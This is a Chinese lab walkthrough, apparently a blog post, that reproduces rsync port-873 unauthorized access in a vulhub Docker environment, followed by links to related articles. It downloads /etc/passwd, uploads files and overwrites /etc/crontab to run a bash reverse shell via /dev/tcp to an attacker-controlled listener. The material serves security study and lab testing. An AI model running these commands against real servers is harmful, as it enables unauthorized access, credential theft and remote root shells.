rsync(873)未授权访问
cd vulhub-master/rsync/common
docker -composeup -d
![](https://upload-images.jianshu.io/upload_images/4664072-a1ef3f4de4b0f89c.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
检测
1.列出目标服务器的同步目录
rsync 192.168.244.129::
![](https://upload-images.jianshu.io/upload_images/4664072-f6159ef406508c16.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
2.查看模块文件
rsync rsync://192.168.244.129/src
![](https://upload-images.jianshu.io/upload_images/4664072-c57440c9c12c74a3.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
3.下载文件
rsync -av 192.168.244.129::src/etc/passwd ./
//rsync -av ip::src/路径
![](https://upload-images.jianshu.io/upload_images/4664072-9b09b4d46e1b48e9.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
4.文件上传
rsync -av ceshi.sh rsync://192.168.244.129/src/tmp/ceshi.sh
![](https://upload-images.jianshu.io/upload_images/4664072-0218ccc071eca9d3.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
5.nmap探测
nmap -p 873 --script rsync-list-modules 192.168.244.129
![](https://upload-images.jianshu.io/upload_images/4664072-108096f217fea51f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
6.反弹shell
下载定时任务
rsync rsync://192.168.244.129:873/src/etc/crontab ./
![](https://upload-images.jianshu.io/upload_images/4664072-2648edbdfb60b4fc.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
表示每小时的第17分钟执行run-parts --report /etc/cron.hourly
进行编辑crontab文件并保存退出(每隔1分钟运行一次脚本)
*/1 * * * * root /tmp/ceshi.sh
![](https://upload-images.jianshu.io/upload_images/4664072-323df40928341af2.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
编写ceshi.sh文件
chmod 777
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.244.128/441 0>&1
上传ceshi.sh文件
rsync -av crontab 192.168.244.129::src/tmp/ceshi.sh
rsync -av ceshi.sh 192.168.244.129::src/etc/cron.hourly 每小时17分反弹的
![](https://upload-images.jianshu.io/upload_images/4664072-53301509ba129479.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
上传crontab文件
rsync -av crontab 192.168.244.129::src/etc/crontab
![](https://upload-images.jianshu.io/upload_images/4664072-610a99888c1c0696.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
开启监听
nc -lvvp 441
获取shell
rsync(873)未授权访问的更多相关文章
- (四)rsync未授权访问
01 漏洞描述 rsync是Linux/Unix下的一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件和目录,默认运行在873端口.由于配置不当,导致任何人可未授权访问rsync,上传 ...
- rsync未授权访问漏洞复现
rsync未授权访问漏洞简介 rsync是Linux/Unix下的一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件和目录,默认运行在873端口.由于配置不当,导致任何人可未授权访问r ...
- 【Vulhub】Rsync未授权访问漏洞复现
Rsync未授权访问 Rsync简介 rsync,remote synchronize顾名思意就知道它是一款实现远程同步功能的软件,它在同步文件的同时,可以保持原来文件的权限.时间.软硬链接等附加信息 ...
- Rsync未授权访问
1.漏洞名称 Rsync 未授权访问漏洞 2.漏洞原理 rsync是Linux下一款数据备份工具,支持通过rsync协议.ssh协议进行远程文件传输. 其中rsync协议默认监听873端口,如果目标开 ...
- Rsync未授权访问漏洞的利用和防御
首先Rsync未授权访问利用 该漏洞最大的隐患在于写权限的开启,一旦开启了写权限,用户就可以,用户就可以利用该权限写马或者写一句话,从而拿到shell. 我们具体来看配置文件的网相关选项(/etc/r ...
- mongodb未授权访问漏洞
catalogue . mongodb安装 . 未授权访问漏洞 . 漏洞修复及加固 . 自动化检测点 1. mongodb安装 apt-get install mongodb 0x1: 创建数据库目录 ...
- Redis未授权访问漏洞分析
catalog . Redis简介 . 漏洞概述 . 漏洞利用方式 . 修复方式 1. Redis简介 Relevant Link: http://www.cnblogs.com/LittleHann ...
- 【转+自己研究】新姿势之Docker Remote API未授权访问漏洞分析和利用
0x00 概述 最近提交了一些关于 docker remote api 未授权访问导致代码泄露.获取服务器root权限的漏洞,造成的影响都比较严重,比如 新姿势之获取果壳全站代码和多台机器root权限 ...
- Zookeeper未授权访问
l 漏洞名称: zookeeper未授权访问 l 漏洞影响版本: zookeeper l 漏洞细节: ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubb ...
- [ Redis ] Redis 未授权访问漏洞被利用,服务器登陆不上
一.缘由: 突然有一天某台服务器远程登陆不上,试了好几个人的账号都行,顿时慌了,感觉服务器被黑.在终于找到一个还在登陆状态的同事后,经查看/ect/passwd 和/etc/passwd-异常,文件中 ...
随机推荐
- 我试了试用 SQL查 Linux日志,好用到飞起
大家好,我是小富~ 最近发现点好玩的工具,迫不及待的想跟大家分享一下. 大家平时都怎么查Linux日志呢? 像我平时会用tail.head.cat.sed.more.less这些经典系统命令,或者aw ...
- 题解 P1850 [NOIP2016 提高组] 换教室
做完这道题才略微感觉自己懂了一点关于概率与期望的知识QAQ... 一:关于概率与期望的定义 转载节选于blog 1.什么是数学期望? 数学期望亦称期望.期望值等.在概率论和统计学中,一个离散型随机变量 ...
- cmake使用笔记,一些常用的命令
我的工程目录如下: │ CMakeLists.txt ├─cmake_tutorial │ CMakeLists.txt │ cmake_tutorial.cpp │ cmake_tutorial.h ...
- electron-ipc通信性能分析
electron-ipc通信性能分析 electron的主进程和渲染进程间通信方案 ipc通信 借助外部存储通信(通过ipc通知其它进程去读取) 方案描述 ipc通信 使用 主进程 ==> 渲染 ...
- element的日期选择使用value-format之后表单验证报错
在表单验证的时候报错 添加一个日期控件,但是发现在表单验证中遇到了冲突如下: Error in event handler for "el.form.change": " ...
- 用python的matplotlib根据文件里面的数字画图像折线图
思路:用open打开文件,再用a=filename.readlines()提取每行的数据作为列表的值,然后传递列表给matplotlib并引入对应库画出图像 代码实现:import matplotli ...
- MySQL参数配置
参数名称 参数说明 缺省值 最低版本要求 user 数据库用户名(用于连接数据库) 所有版本 passWord 用户密码(用于连接数据库) 所有版本 useUnicode 是否使用Unicode字符集 ...
- APP-SECURITY-404 组件导出漏洞复现
参考资料:https://github.com/wnagzihxa1n/APP-SECURITY-404/blob/master/2.%E7%BB%84%E4%BB%B6%E5%AF%BC%E5%87 ...
- 两个字符串,s1 包含 s2,包含多次,返回每一个匹配到的索引---python
#两个字符串,s1 包含 s2,包含多次,返回每一个匹配到的索引 def findSubIndex(str1,subStr): str_len = len(str1) sub_len = len(su ...
- Maven | 把jar包安装到本地仓库
使用的场景 自己写的工具类想安装到本地 从Maven仓库中下载不下来的jar 使用的步骤 首先要保证自己的Maven配置全局环境变量,如果没有配置过maven全局变量,可以按照下面的步骤配置一下: 先 ...